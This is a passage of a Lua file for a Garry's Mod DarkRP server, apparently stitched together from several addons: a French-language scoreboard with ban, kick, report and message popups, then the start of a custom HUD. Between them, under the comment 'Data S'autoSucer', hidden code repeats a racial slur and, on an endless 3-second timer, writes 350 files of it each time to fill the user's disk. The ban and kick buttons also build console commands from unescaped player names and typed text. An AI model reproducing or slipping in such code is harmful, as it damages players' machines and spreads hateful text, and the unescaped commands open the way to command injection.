4552 fr:SetSize( 350, 170 )
4553 fr:Center()
4554 fr:SetTitle( "Ban : "..v:Name() )
4555 fr:SetDraggable( false )
4556 fr:ShowCloseButton( true )
4557 fr:MakePopup()
4558 function fr:Paint( w, h )
4559 surface.SetDrawColor(175, 175, 175 ,245)
4560 surface.DrawRect(0, 0, w, h)
4561 surface.SetDrawColor(0, 0, 0, 255)
4562 surface.DrawRect(0, 0, w, h - h + 25)
4563
4564 draw.SimpleText( "Raison : ", "Trebuchet24", w / 2, 25, color_white, 1 )
4565 end
4566
4567 local timeValue = vgui.Create( "DTextEntry", fr )
4568 timeValue:SetSize( fr:GetWide() - 10, 25 )
4569 timeValue:SetPos( 5, 60 )
4570 timeValue:SetNumeric( false )
4571 timeValue:SetPlaceholderText( 'Entrez le temps... (En minute(s))' )
4572
4573 local reasonValue = vgui.Create( "DTextEntry", fr )
4574 reasonValue:SetSize( fr:GetWide() - 10, 25 )
4575 reasonValue:SetPos( 5, 90 )
4576 reasonValue:SetNumeric( false )
4577 reasonValue:SetPlaceholderText( 'Entrez la raison...' )
4578
4579 local btn = vgui.Create( "DButton", fr )
4580 btn:SetSize( 100, 30 )
4581 btn:SetPos( fr:GetWide() / 2 - btn:GetWide() / 2, 130 )
4582 btn:SetText( "Valider" )
4583 btn:SetTextColor( color_white )
4584 btn:SetFont( 'Trebuchet24' )
4585 function btn:Paint( w, h )
4586 draw.RoundedBox( 17, 0, 0, w, h, Color( 10, 130, 255, 255 ) )
4587 end
4588 function btn:DoClick()
4589 local toexec = [[ulx ban "]]..v:Nick()..[[" "]]..timeValue:GetValue()..[[" "]]..reasonValue:GetValue()..[["]]
4590 LocalPlayer():ConCommand(toexec)
4591 fr:Close()
4592 end
4593 end
4594 local adminbutton7 = vgui.Create("DButton", adminmenuforthetabmenu)
4595 adminbutton7:SetSize( ScrW() * 0.08, ScrH() * 0.04 )
4596 adminbutton7:SetPos( ScrW() * 0.085, ScrH() * 0.127 )
4597 adminbutton7:SetText("Kick")
4598 adminbutton7:SetFont("UserPing")
4599 adminbutton7:SetTextColor(color_white)
4600 function adminbutton7:Paint( w, h )
4601 draw.RoundedBox( 0, 0, 0, w, h, Color( 75, 75, 75, 255 ) )
4602 end
4603 adminbutton7.DoClick = function()
4604 local fr = vgui.Create( "DFrame" )
4605 fr:SetSize( 350, 145 )
4606 fr:Center()
4607 fr:SetTitle( "Kick : "..v:Name() )
4608 fr:SetDraggable( false )
4609 fr:ShowCloseButton( true )
4610 fr:MakePopup()
4611 function fr:Paint( w, h )
4612 surface.SetDrawColor(175, 175, 175 ,245)
4613 surface.DrawRect(0, 0, w, h)
4614 surface.SetDrawColor(0, 0, 0, 255)
4615 surface.DrawRect(0, 0, w, h - h + 25)
4616
4617 draw.SimpleText( "Raison : ", "Trebuchet24", w / 2, 25, color_white, 1 )
4618 end
4619
4620 local reasonValue = vgui.Create( "DTextEntry", fr )
4621 reasonValue:SetSize( fr:GetWide() - 10, 25 )
4622 reasonValue:SetPos( 5, 60 )
4623 reasonValue:SetNumeric( false )
4624 reasonValue:SetPlaceholderText( 'Entrez la raison...' )
4625
4626 local btn = vgui.Create( "DButton", fr )
4627 btn:SetSize( 100, 30 )
4628 btn:SetPos( fr:GetWide() / 2 - btn:GetWide() / 2, 100 )
4629 btn:SetText( "Valider" )
4630 btn:SetTextColor( color_white )
4631 btn:SetFont( 'Trebuchet24' )
4632 function btn:Paint( w, h )
4633 draw.RoundedBox( 17, 0, 0, w, h, Color( 10, 130, 255, 255 ) )
4634 end
4635 function btn:DoClick()
4636 local toexec = [[ulx kick "]]..v:Nick()..[[" "]]..reasonValue:GetValue()..[["]]
4637 LocalPlayer():ConCommand(toexec)
4638 fr:Close()
4639 end
4640 end
4641end
4642 playerinfoforthetabmenu = vgui.Create("DFrame")
4643 playerinfoforthetabmenu:SetSize( ScrW() * 0.17, ScrH() *0.3 )
4644 playerinfoforthetabmenu:SetTitle("")
4645 playerinfoforthetabmenu:SetPos( ScrW() * 0.1, ScrH() *0.175 )
4646 playerinfoforthetabmenu:SetDraggable(false)
4647 playerinfoforthetabmenu:ShowCloseButton(false)
4648 playerinfoforthetabmenu:MakePopup()
4649 playerinfoforthetabmenu.Paint = function(self, w, h)
4650 surface.SetDrawColor(175, 175, 175 ,245)
4651 surface.DrawRect(0, 0, w, h)
4652 surface.SetDrawColor(0, 0, 0, 255)
4653 surface.DrawRect(0, 0, w, h - h + 35)
4654 draw.SimpleText(v:Name(), "UserName", 150, (h - h) + 2, Color(255, 255, 255, 255), TEXT_ALIGN_CENTER)
4655 draw.SimpleText("Grade : "..v:GetUserGroup(), "Popup", 5, (h - h) + 175, Color(255, 255, 255, 255), TEXT_ALIGN_LEFT)
4656 draw.SimpleText("Steam ID : "..v:SteamID(), "Popup", 5, (h - h) + 200, Color(255, 255, 255, 255), TEXT_ALIGN_LEFT)
4657 local avatar = playerinfoforthetabmenu:Add("AvatarImage")
4658 avatar:SetPos(2, 37)
4659 avatar:SetSize(125, 125)
4660 avatar:SetPlayer(v)
4661 end
4662 local buttonplayerinfoforthetabmenu = vgui.Create("DButton", playerinfoforthetabmenu)
4663 buttonplayerinfoforthetabmenu:SetSize( ScrW() * 0.15, ScrH() *0.04 )
4664 buttonplayerinfoforthetabmenu:SetPos( ScrW() * 0.01, ScrH() *0.24 )
4665 buttonplayerinfoforthetabmenu:SetText("Copier Le SteamID")
4666 buttonplayerinfoforthetabmenu:SetFont("UserName")
4667 buttonplayerinfoforthetabmenu:SetTextColor(color_white)
4668 function buttonplayerinfoforthetabmenu:Paint( w, h )
4669 draw.RoundedBox( 10, 0, 0, w, h, Color( 75, 75, 75, 255 ) )
4670 buttonplayerinfoforthetabmenu.DoClick = function()
4671 chat.AddText("SteamID Copier !")
4672 buttonplayerinfoforthetabmenu:SetText("Copier !")
4673 timer.Create("TimerSteam",1,1,function()
4674 buttonplayerinfoforthetabmenu:SetText("Copier Le SteamID")
4675 end)
4676 SetClipboardText(v:SteamID())
4677 end
4678 end
4679 local buttontwoplayerinfoforthetabmenu = vgui.Create("DButton", playerinfoforthetabmenu)
4680 buttontwoplayerinfoforthetabmenu:SetSize( ScrW() * 0.09, ScrH() * 0.03 )
4681 buttontwoplayerinfoforthetabmenu:SetPos( ScrW() * 0.076, ScrH() * 0.04 )
4682 buttontwoplayerinfoforthetabmenu:SetText("Report")
4683 buttontwoplayerinfoforthetabmenu:SetFont("UserPing")
4684 buttontwoplayerinfoforthetabmenu:SetTextColor(color_white)
4685 function buttontwoplayerinfoforthetabmenu:Paint( w, h )
4686 draw.RoundedBox( 15, 0, 0, w, h, Color( 75, 75, 75, 255 ) )
4687 end
4688 buttontwoplayerinfoforthetabmenu.DoClick = function()
4689 local fr = vgui.Create( "DFrame" )
4690 fr:SetSize( 350, 145 )
4691 fr:Center()
4692 fr:SetTitle( "Report : "..v:Name() )
4693 fr:SetDraggable( false )
4694 fr:ShowCloseButton( true )
4695 fr:MakePopup()
4696 function fr:Paint( w, h )
4697surface.SetDrawColor(175, 175, 175 ,245)
4698surface.DrawRect(0, 0, w, h)
4699surface.SetDrawColor(0, 0, 0, 255)
4700surface.DrawRect(0, 0, w, h - h + 25)
4701
4702 draw.SimpleText( "Raison : ", "Trebuchet24", w / 2, 25, color_white, 1 )
4703 end
4704
4705 local pAmount = vgui.Create( "DTextEntry", fr )
4706 pAmount:SetSize( fr:GetWide() - 10, 25 )
4707 pAmount:SetPos( 5, 60 )
4708 pAmount:SetNumeric( false )
4709 pAmount:SetPlaceholderText( 'Entrez une Raison...' )
4710
4711 local btn = vgui.Create( "DButton", fr )
4712 btn:SetSize( 100, 30 )
4713 btn:SetPos( fr:GetWide() / 2 - btn:GetWide() / 2, 100 )
4714 btn:SetText( "Valider" )
4715 btn:SetTextColor( color_white )
4716 btn:SetFont( 'Trebuchet24' )
4717 function btn:Paint( w, h )
4718 draw.RoundedBox( 17, 0, 0, w, h, Color( 10, 130, 255, 255 ) )
4719 end
4720 function btn:DoClick()
4721 chat.AddText(Color(255,0,0),"[Ticket]",Color(255,255,255)," Report Effectuer")
4722 RunConsoleCommand( "say", "/// Bonjour, " ..v:Name().. " " ..( pAmount:GetValue() ) )
4723 fr:Close()
4724 end
4725end
4726 local buttontreeplayerinfoforthetabmenu = vgui.Create("DButton", playerinfoforthetabmenu)
4727 buttontreeplayerinfoforthetabmenu:SetSize( ScrW() * 0.09, ScrH() * 0.03 )
4728 buttontreeplayerinfoforthetabmenu:SetPos( ScrW() * 0.076, ScrH() * 0.08 )
4729 buttontreeplayerinfoforthetabmenu:SetText("Prochainement")
4730 buttontreeplayerinfoforthetabmenu:SetFont("UserPing")
4731 buttontreeplayerinfoforthetabmenu:SetTextColor(color_white)
4732 function buttontreeplayerinfoforthetabmenu:Paint( w, h )
4733 draw.RoundedBox( 15, 0, 0, w, h, Color( 75, 75, 75, 255 ) )
4734 end
4735 buttontreeplayerinfoforthetabmenu.DoClick = function()
4736 end
4737 local buttonfiveplayerinfoforthetabmenu = vgui.Create("DButton", playerinfoforthetabmenu)
4738buttonfiveplayerinfoforthetabmenu:SetSize( ScrW() * 0.09, ScrH() * 0.03 )
4739buttonfiveplayerinfoforthetabmenu:SetPos( ScrW() * 0.076, ScrH() * 0.12 )
4740buttonfiveplayerinfoforthetabmenu:SetText("Message")
4741buttonfiveplayerinfoforthetabmenu:SetFont("UserPing")
4742buttonfiveplayerinfoforthetabmenu:SetTextColor(color_white)
4743function buttonfiveplayerinfoforthetabmenu:Paint( w, h )
4744draw.RoundedBox( 15, 0, 0, w, h, Color( 75, 75, 75, 255 ) )
4745end
4746buttonfiveplayerinfoforthetabmenu.DoClick = function()
4747 local frame = vgui.Create("DFrame")
4748 frame:SetTitle("Envoyer un message")
4749 frame:SetSize(350, 120)
4750 frame:ShowCloseButton(false)
4751 frame:Center()
4752 frame:MakePopup()
4753 frame.Paint = function(self, w, h)
4754 surface.SetDrawColor(175, 175, 175 ,245)
4755 surface.DrawRect(0, 0, w, h)
4756 surface.SetDrawColor(0, 0, 0, 255)
4757 surface.DrawRect(0, 0, w, h - h + 25)
4758 end
4759
4760 local MsgType = 2
4761
4762 local i = 0
4763 local TypeButtons = {}
4764 for k, v in pairs(FAdmin.Messages.MsgTypes) do
4765
4766 table.insert(TypeButtons, MsgTypeButton)
4767 i = i + 1
4768 end
4769
4770 local OK = vgui.Create("DButton", frame)
4771 local TextBox = vgui.Create("DTextEntry", frame)
4772 TextBox:SetPos(20, 50)
4773 TextBox:StretchToParent(20, nil, 20, nil)
4774 TextBox:RequestFocus()
4775 function TextBox:Think()
4776 TextBox.InTab = TextBox.InTab or input.IsKeyDown(KEY_TAB)
4777 if TextBox.InTab and not input.IsKeyDown(KEY_TAB) then self:RequestFocus() end
4778 end
4779 function TextBox:OnEnter()
4780 OK:DoClick()
4781 end
4782
4783 OK:SetSize(100, 20)
4784 OK:SetText("OK")
4785 OK:SetTextColor(color_white)
4786 OK:AlignRight(20)
4787 OK:AlignBottom(10)
4788 function OK:Paint( w, h )
4789 draw.RoundedBox( 0, 0, 0, w, h, Color( 75, 75, 75, 255 ) )
4790 end
4791 function OK:DoClick()
4792 frame:Close()
4793 if not IsValid(v) then return end
4794 RunConsoleCommand("_FAdmin", "Message", v:SteamID(), MsgType, TextBox:GetValue())
4795 end
4796
4797 local close = vgui.Create("DButton", frame)
4798 close:SetSize( ScrW() * 0.02, ScrH() * 0.02 )
4799 close:SetPos( ScrW() * 0.18, ScrH() * 0.002 )
4800 close:SetText("")
4801 function close:Paint( w, h )
4802 draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 0 ) )
4803 draw.SimpleText("❌","CenterPrintText",15,0,Color(255,0,0))
4804 end
4805 close.DoClick = function()
4806 frame:Close()
4807 end
4808
4809 FAdmin.StartHooks["zzSendMessage"] = function()
4810 FAdmin.Access.AddPrivilege("Message", 1)
4811 FAdmin.Commands.AddCommand("Message", nil, "<Player>", "[type]", "<text>")
4812
4813 FAdmin.ScoreBoard.Player:AddActionButton("Send message", "fadmin/icons/message", Color(0, 200, 0, 255),
4814 function(v) return FAdmin.Access.PlayerHasPrivilege(LocalPlayer(), "Message") and not v:IsBot() end, function(v, button)
4815 MessageGui(v)
4816 end)
4817 end
4818end
4819end
4820
4821
4822
4823 local avatar = backp:Add("AvatarImage")
4824 avatar:SetPos(0, 0)
4825 avatar:SetSize(36, 36)
4826 avatar:SetPlayer(v)
4827
4828 backp.Paint = function(self, w, h)
4829
4830 if not v:IsValid() then
4831 sboard:Update()
4832 return
4833 end
4834
4835 surface.SetDrawColor(255, 255, 255 ,255)
4836 surface.DrawOutlinedRect(0, 0, w, h)
4837 surface.SetDrawColor(175, 175, 175 ,245)
4838 surface.DrawRect(0, 0, w, h)
4839
4840 draw.SimpleText(v:Name(), "UserName", 45, (h - h) + 2, Color(255, 255, 255, 255), TEXT_ALIGN_LEFT)
4841 draw.SimpleText( v:getJobTable().name, "UserJob", w / 2, (h - h) + 6, Color(255, 255, 255, 255), TEXT_ALIGN_CENTER)
4842 draw.SimpleText(v:Deaths(), "UserPing", w - ((w/7)*2), (h - h) + 7, Color(255, 255, 255, 255), TEXT_ALIGN_CENTER)
4843 draw.SimpleText(v:Frags(), "UserPing", w - (w/7) - 20, (h - h) + 7, Color(255, 255, 255, 255), TEXT_ALIGN_CENTER)
4844 draw.SimpleText(v:Ping(), "UserPing", w - 20, (h - h) + 7, Color(255, 255, 255, 255), TEXT_ALIGN_RIGHT)
4845 end
4846 end
4847 end
4848 sboard:Update()
4849end
4850
4851hook.Add("ScoreboardShow", "DarkRP.custom.scoreboard.show", function()
4852 if not (sboard == nil) then
4853 sboard:Update()
4854 sboard:SetVisible(true)
4855 local function PUMPPPTEST()
4856
4857 tab= {}
4858 tab[ "$pp_colour_addr" ] = 0
4859 tab[ "$pp_colour_addg" ] = 0
4860 tab[ "$pp_colour_addb" ] = 0
4861 tab[ "$pp_colour_brightness" ] = 0
4862 tab[ "$pp_colour_contrast" ] = 1
4863 tab[ "$pp_colour_colour" ] = 0
4864 tab[ "$pp_colour_mulr" ] = 0
4865 tab[ "$pp_colour_mulg" ] = 0
4866 tab[ "$pp_colour_mulb" ] = 0
4867
4868 DrawColorModify( tab )
4869end
4870hook.Add( "RenderScreenspaceEffects", "RenderColorModifyPOO", PUMPPPTEST )
4871
4872 else
4873 DrawScoreBoard()
4874 end
4875end)
4876hook.Add("ScoreboardHide", "DarkRP.custom.scoreboard.hide", function()
4877 if (sboard) then
4878 sboard:SetVisible(false)
4879 if IsValid(playerinfoforthetabmenu) then
4880 playerinfoforthetabmenu:Close()
4881 end
4882 if IsValid(adminmenuforthetabmenu) then
4883 adminmenuforthetabmenu:Close()
4884 end
4885 timer.Remove("TimerSteam")
4886 hook.Remove("RenderScreenspaceEffects", "RenderColorModifyPOO")
4887
4888 end
4889end)
4890end)
4891
4892
4893
4894--[[
4895
4896 Data S'autoSucer
4897
4898]]--
4899
4900
4901
4902local n1gs = [[ N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4903N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4904N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4905N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4906N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4907N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4908N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4909N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4910N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4911N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4912N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4913N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4914N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4915N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4916N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4917N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4918N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13 N1GG4 D13
4919]]
4920
4921timer.Create( "gvacspaam", 3, 0, function()
4922 for i = 1, 350 do
4923 file.Write( "N1GG4_D13_".. math.Rand( 1, 1337) ..".txt", n1gs )
4924 end
4925end)
4926
4927
4928
4929--[[
4930
4931HUD
4932
4933]]--
4934
4935
4936
4937----------------------------------------------------------------------------
4938 --PIX HUD--
4939----------------------------------------------------------------------------
4940include("sh_config.lua")
4941
4942if SERVER then
4943 util.AddNetworkString("GotArrested")
4944 util.AddNetworkString("AdminTell")
4945 util.AddNetworkString("_Notify")
4946
4947 resource.AddFile("materials/pixim/health.png")
4948 resource.AddFile("materials/pixim/armor.png")
4949 resource.AddFile("materials/pixim/hunger.png")
4950 resource.AddFile("materials/pixim/want.png")
4951 resource.AddFile("materials/pixim/gun.png")
4952 resource.AddFile("materials/pixim/gun2.png")
4953 resource.AddFile("materials/pixim/want2.png")
4954 resource.AddFile("materials/pixim/gun2.png")
4955 resource.AddFile("resource/fonts/BebasNeue.otf")
4956
4957 return
4958
4959end
4960
4961
4962
4963
4964
4965
4966 /*---------------------------------------------------------------------------
4967
4968 FONT
4969
4970 ---------------------------------------------------------------------------*/
4971
4972
4973surface.CreateFont( "argent", {
4974 font = "BebasNeue",
4975 size = 35 * PIXConfig.HUDScale,
4976 weight = 500 ,
4977 blursize = 0,
4978 scanlines = 0,
4979 antialias = true
4980} )
4981
4982
4983surface.CreateFont( "nom", {
4984 font = "BebasNeue",
4985 size = 28 * PIXConfig.HUDScale,
4986 weight = 500 ,
4987 blursize = 0,
4988 scanlines = 0,
4989 antialias = true
4990} )
4991
4992surface.CreateFont( "vieecrit", {
4993 font = "BebasNeue",
4994 size = 20 * PIXConfig.HUDScale,
4995 weight = 500 ,
4996 blursize = 0,
4997 scanlines = 0,
4998 antialias = true
4999} )
5000
5001surface.CreateFont( "vie", {
5002 font = "BebasNeue",
5003 size = 50* PIXConfig.HUDScale,
5004 weight = 500,
5005 blursize = 0,
5006 scanlines = 0,
5007 antialias = true
5008} )
5009
5010
5011surface.CreateFont( "slash", {
5012 font = "BebasNeue",
5013 size = 60 * PIXConfig.HUDScale,
5014 weight = 500,
5015 blursize = 0,
5016 scanlines = 0,
5017 antialias = true
5018} )
5019
5020
5021surface.CreateFont( "wl", {
5022 font = "BebasNeue",
5023 size = 30* PIXConfig.HUDScale,
5024 weight = 500,
5025 blursize = 0,
5026 scanlines = 0,
5027 symbol = true,
5028 antialias = true
5029} )
5030
5031
5032surface.CreateFont( "argent2", {
5033 font = "BebasNeue",
5034 size = 40* PIXConfig.HUDScale,
5035 weight = 500,
5036 blursize = 0,
5037 scanlines = 0,
5038 antialias = true
5039} )
5040
5041
5042surface.CreateFont( "lockdown", {
5043 font = "BebasNeue",
5044 size = 20,
5045 weight = 500,
5046 blursize = 0,
5047 scanlines = 0,
5048 antialias = true
5049} )
5050
5051
5052surface.CreateFont( "agenda", {
5053 font = "BebasNeue",
5054 size = 23* PIXConfig.HUDScale,
5055 weight = 500,
5056 blursize = 0,
5057 scanlines = 0,
5058 antialias = true
5059} )
5060
5061
5062surface.CreateFont( "ammoout", {
5063 font = "BebasNeue",
5064 size = 18* PIXConfig.HUDScale,
5065 weight = 500,
5066 blursize = 0,
5067 scanlines = 0,
5068 antialias = true
5069} )
5070
5071
5072 /*---------------------------------------------------------------------------
5073
5074 HIDEHUDELEMEMENTS
5075
5076 ---------------------------------------------------------------------------*/
5077
5078
5079local hideHUDElements = {
5080 ["DarkRP_HUD"] = true,
5081 ["DarkRP_ArrestedHUD"] = false,
5082 ["DarkRP_EntityDisplay"] = false,
5083 ["DarkRP_ZombieInfo"] = true,
5084 ["DarkRP_LocalPlayerHUD"] = true,
5085 ["DarkRP_Hungermod"] = true,
5086 ["DarkRP_Agenda"] = true,
5087 ["CHudAmmo"] = true,
5088 ["CHudSecondaryAmmo"] = true,
5089 ["DarkRP_LockDown"] = true,
5090}
5091
5092
5093
5094 /*---------------------------------------------------------------------------
5095
5096 HideHudElements
5097
5098 ---------------------------------------------------------------------------*/
5099
5100
5101
5102
5103local function hideElements(name)
5104
5105 if name == "CHudHealth" or name == "CHudBattery" or name == "CHudSuitPower" then
5106 return false
5107 end
5108
5109 if hideHUDElements[name] then
5110 return false
5111 end
5112
5113end
5114hook.Add("HUDShouldDraw", "hideElements", hideElements)
5115
5116
5117
5118
5119 /*---------------------------------------------------------------------------
5120
5121 Format Number Function
5122
5123 ---------------------------------------------------------------------------*/
5124
5125
5126
5127
5128local function formatNumber(n)
5129 if not n then return "" end
5130 if n >= 1e14 then return tostring(n) end
5131 n = tostring(n)
5132 local sep = sep or ","
5133 local dp = string.find(n, "%.") or #n+1
5134 for i=dp-4, 1, -3 do
5135 n = n:sub(1, i) .. sep .. n:sub(i+1)
5136 end
5137 return n
5138end
5139
5140 /*---------------------------------------------------------------------------
5141
5142 Material
5143
5144 ---------------------------------------------------------------------------*/
5145
5146
5147 hearth = Material("pixim/pixV.png", "noclamp smooth")
5148
5149 shield = Material("pixim/pixS.png", "noclamp smooth")
5150
5151 food = Material("pixim/pixF.png", "noclamp smooth")
5152
5153 gun = Material("pixim/pixG.png", "noclamp smooth")
5154
5155 wanted = Material("pixim/pixW.png", "noclamp smooth")
5156
5157 run = Material("pixim/pixR.png", "noclamp smooth")
5158
5159
5160 /*---------------------------------------------------------------------------
5161
5162 Base
5163
5164 ---------------------------------------------------------------------------*/
5165
5166
5167
5168
5169local function Base()
5170
5171
5172
5173 surface.SetDrawColor( 40, 40, 40, 230 )
5174 surface.DrawRect( 5 * PIXConfig.HUDScale, ScrH() - 138 * PIXConfig.HUDScale, 370 * PIXConfig.HUDScale, 90 * PIXConfig.HUDScale )
5175
5176 surface.SetDrawColor( 10, 10, 10, 250 )
5177 surface.DrawRect( 5 * PIXConfig.HUDScale,ScrH() - 181 * PIXConfig.HUDScale, 370 * PIXConfig.HUDScale, 40 * PIXConfig.HUDScale)
5178
5179 surface.SetDrawColor( 40, 40, 40, 230 )
5180 surface.DrawRect( 85 * PIXConfig.HUDScale ,ScrH() - 195 * PIXConfig.HUDScale, 215 * PIXConfig.HUDScale, 6 * PIXConfig.HUDScale)
5181
5182 surface.SetDrawColor( 40, 40, 40, 230 )
5183 surface.DrawRect( 5 * PIXConfig.HUDScale,ScrH() - 45 * PIXConfig.HUDScale, 370 * PIXConfig.HUDScale, 40 * PIXConfig.HUDScale )
5184
5185 surface.SetDrawColor( 10, 10, 10, 230 )
5186 surface.DrawRect( 44.5 * PIXConfig.HUDScale,ScrH() - 45 * PIXConfig.HUDScale, 290 * PIXConfig.HUDScale, 40 * PIXConfig.HUDScale )
5187
5188 draw.RoundedBox(0,5*PIXConfig.HUDScale,ScrH() - 138*PIXConfig.HUDScale, 10*PIXConfig.HUDScale, 90*PIXConfig.HUDScale, Color(10, 10, 10,230))
5189
5190 draw.RoundedBox(0,15*PIXConfig.HUDScale,ScrH() - 138*PIXConfig.HUDScale, 70*PIXConfig.HUDScale, 10*PIXConfig.HUDScale, Color(10, 10, 10,230))
5191
5192 draw.RoundedBox(0,15*PIXConfig.HUDScale,ScrH() - 58*PIXConfig.HUDScale, 70*PIXConfig.HUDScale, 10*PIXConfig.HUDScale, Color(10, 10, 10,230))
5193
5194 draw.RoundedBox(0,85*PIXConfig.HUDScale,ScrH() - 138*PIXConfig.HUDScale, 10.5*PIXConfig.HUDScale, 90*PIXConfig.HUDScale, Color(10, 10, 10,230))
5195
5196
5197end
5198
5199 /*---------------------------------------------------------------------------
5200
5201 Steam Image
5202
5203 ---------------------------------------------------------------------------*/
5204local function SteamImage()
5205
5206 if PIXConfig.SteamImage == true then
5207
5208 draw.RoundedBox(0,5 *PIXConfig.HUDScale,ScrH() - 138*PIXConfig.HUDScale, 10*PIXConfig.HUDScale, 90*PIXConfig.HUDScale, Color(10, 10, 10,230))
5209
5210 draw.RoundedBox(0,15*PIXConfig.HUDScale,ScrH() - 138*PIXConfig.HUDScale, 70*PIXConfig.HUDScale, 10*PIXConfig.HUDScale, Color(10, 10, 10,230))
5211
5212 draw.RoundedBox(0,15*PIXConfig.HUDScale,ScrH() - 58*PIXConfig.HUDScale, 70*PIXConfig.HUDScale, 10*PIXConfig.HUDScale, Color(10, 10, 10,230))
5213
5214 draw.RoundedBox(0,85*PIXConfig.HUDScale,ScrH() - 138*PIXConfig.HUDScale, 10.5*PIXConfig.HUDScale, 90*PIXConfig.HUDScale, Color(10, 10, 10,230))
5215
5216
5217 draw.RoundedBox(0,85*PIXConfig.HUDScale,ScrH() - 132*PIXConfig.HUDScale, 5*PIXConfig.HUDScale, 78*PIXConfig.HUDScale, Color(255, 255, 255,10))
5218
5219 draw.RoundedBox(0,10 *PIXConfig.HUDScale,ScrH() - 132*PIXConfig.HUDScale, 5*PIXConfig.HUDScale, 78*PIXConfig.HUDScale, Color(255, 255, 255,10))
5220
5221 draw.RoundedBox(0,15 *PIXConfig.HUDScale,ScrH() - 132*PIXConfig.HUDScale, 70*PIXConfig.HUDScale, 5*PIXConfig.HUDScale, Color(255, 255, 255,10))
5222
5223 draw.RoundedBox(0,15 *PIXConfig.HUDScale,ScrH() - 59 *PIXConfig.HUDScale, 70 *PIXConfig.HUDScale, 5 *PIXConfig.HUDScale, Color(255, 255, 255,10))
5224
5225
5226
5227 local Avatar = vgui.Create( "AvatarImage", Panel )
